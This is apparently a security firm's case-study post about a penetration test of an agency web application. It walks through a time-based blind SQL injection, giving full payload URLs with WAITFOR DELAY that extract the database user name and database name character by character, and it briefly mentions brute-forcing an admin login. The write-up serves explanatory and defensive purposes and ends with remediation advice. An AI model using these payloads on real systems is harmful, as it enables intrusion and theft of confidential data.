Torrid Networks was recently engaged in web application security assessment for a top nodal agency processing highly classified information.

Along with few common misconfigurations, some serious security issues were detected in the web application security assessment. The quick and weakest link was the admin credential used by the webmaster which was brute forced in no longer than five minutes. Apart from few other commonly found vulnerability reported, interesting part was the time based blind SQL injection which took a while to get a free drive onto the backend database.

Approach

Automated application security assessment tools have got limited space in Torrid Nework’s application security assessment methodology and most of it relies on the manual security testing of the applications. A quick automated scanning against this particular application did show few basic results those were verified against false positives and well noted. The next stage of manual security testing discovered few more vulnerabilities and also raised the probability of time based SQL injection vulnerability in the application. Data stored and being processed in the application was of very high importance and confidentiality hence SQL injection vulnerability was an eye opener.

Series of tests were performed to collect objective evidence for the presence of time based SQL injection vulnerability.

Observation

It was found that application used to generate a parameter named “suid” in response to SubmitQuery request made by the user. During the data validation testing stage, time based SQL injection payload was injected and the application responded with a positive response. Detailed observation is summarized below:

First Payload:

http://www.victim.com/querysave.aspx?suid=fcd23de6-92e7-8ad1-71b99-7f998e9c8a33%27’waitfordelay’0:0:10’--

Application responded in 13.87 sec with some raw ID output on the screen.

In the next attack vector, time delay was increased to 20 sec to verify.

Second Payload:

http://www.victim.com/querysave.aspx?suid=fcd23de6-92e7-8ad1-71b99-7f998e9c8a33%27’waitfordelay’0:0:20’--

Application responded in 24.23 sec with some raw ID on the screen.

Third Payload:

http://www.victim.com/querysave.aspx?suid=fcd23de6-92e7-8ad1-71b99-7f998e9c8a33%27’waitfordelay’0:0:30’--

Application responded in 34.16 sec

By this time, it was evidentiary that the user supplied input is being executed at the server side and user is able to control the application behavior.

Exploitation

Time based SQL injection often requires a bit more time for exploitation in comparison to error based SQL injection which mostly is super quick to exploit. The basic approach to exploit this vulnerability is to test a condition leading to TRUE or FALSE response and on the basis of response from database, values are guessed character by character. Exploitation of this vulnerability got some really useful results which helped building a business case for the customer. Exploitation of SQL injection vulnerability is divided into smaller objectives described as below:

Objective I: To obtain database user name length

To obtain database user name, it was required to firstly guess the length of the username by sending following request to server :

http://www.victim.com/querysave.aspx?suid=fcd23de6-92e7-8ad1-71b99-7f998e9c8a33%27if (len(user)=1)waitfor delay'0%3a0%3a20'—

Application responded in less than 20 sec, which meant that the condition used to test was not true. Similarly, another request with varied user length was sent to finally got a positive response for len(user)=7

http://www.victim.com/querysave.aspx?suid=fcd23de6-92e7-8ad1-71b99-7f998e9c8a33%27if(len(user)=7)waitfor delay'0%3a0%3a20'—

Application responded after 20 sec., which concluded the condition of len(user)=7 to be true .

Objective II: To obtain username

To obtain username, it was required to guess the characters one by one. Firstly, it started with the condition to test whether the starting character used in username is in lowercase or uppercase. The crafted request to test the condition is as below:

if (ascii(lower(substring((user),1,1)))>97) WAITFOR DELAY '00:00:10'—

Application responded with a positive result.

Now, it was time to get rolling to discover the username. Following query was submitted to database via the application intreface.

http://www.victim.com/querysave.aspx?suid=fcd23de6-92e7-8ad1-71b99-7f998e9c8a33'if (ascii(lower(substring((user),1,1)))>100)waitfor%20delay%270%3a0%3a20%27—-

The application responded before 20 sec, which meant the condition wasn’t true and the value being guessed was in fact between 97 to 100.

Similar request was again crafted but this time checking for equality condition

http://www.victim.com/querysave.aspx?suid=fcd23de6-92e7-8ad1-71b99-7f998e9c8a33'if (ascii(lower(substring((user),1,1)))=99)waitfor%20delay%270%3a0%3a20%27--

The application responded in 24 sec suggesting the first character of username as “c”

Likewise, series of tests were performed to get second character by observing response time of the application. For the ascii value of 117, the test responded positively

http://www.victim.com/querysave.aspx?suid=fcd23de6-92e7-8ad1-71b99-7f998e9c8a33'if (ascii(lower(substring((user),2,1)))=117)waitfor%20delay'0%3a0%3a20'--

Therefore second character was confirmed to be “u”

A series of similar tests were performed to get the complete username.

Objective III: To obtain database name length.

To exploit further, it was required to obtain the database length. Similar tests with different attack vectors lead to guess the length of the database as shown below.

http://www.victim.com/querysave.aspx?suid=fcd23de6-92e7-8ad1-71b99-7f998e9c8a33'if (len(db_name())=6)waitfor%20delay'00:00:20'--

Application responded in 24.82 sec concluding the database name length to be 6.

Objective IV: To obtain database name

The attack vector would definitely vary, however the approach is same as used in collecting username:

http://www.victim.com/querysave.aspx?suid=fcd23de6-92e7-8ad1-71b99-7f998e9c8a33'if (ASCII(lower(substring((db_name()),1,1)))>108)waitfor%20delay%270%3a0%3a20%27--

Condition was true, which meant that the name’s first character is after “l”. Another test condition used was

http://www.victim.com/querysave.aspx?suid=fcd23de6-92e7-8ad1-71b99-7f998e9c8a33'if (ASCII(lower(substring((db_name()),1,1)))>116)waitfor%20delay%270%3a0%3a20%27—

Result of condition was False , the next tests were crafted to be each and every character between ‘l’ and ‘ t’ and found the positive result for ascii value 115 which is character ‘s’

http://www.victim.com/querysave.aspx?quis=f848cfe6-74d7-4a32-92d7-6c5c16e16733'if (ASCII(lower(substring((db_name()),1,1)))=115)waitfor%20delay%270%3a0%3a20%27--

And the response confirm the presence of the first character as ‘s’. Further tests, with varied payload discovered the complete database name.

Further exploitation was done to get some test records from the database as a PoC.

Conclusion:

Gathering the objective evidences collected via SQL injection and other security tests, a comprehensive report was presented to the customer. Development team was explained with mitigation techniques and a quick technical session was offered on how to avoid such security bugs in future application development and was well received by the development team.

It is recommended to implement proper data validation mechanism to validate and restrict input data from any source. Data validation is first level of defense from SQL injection attacks.

To know more, feel free to write us at info@torridnetworks.com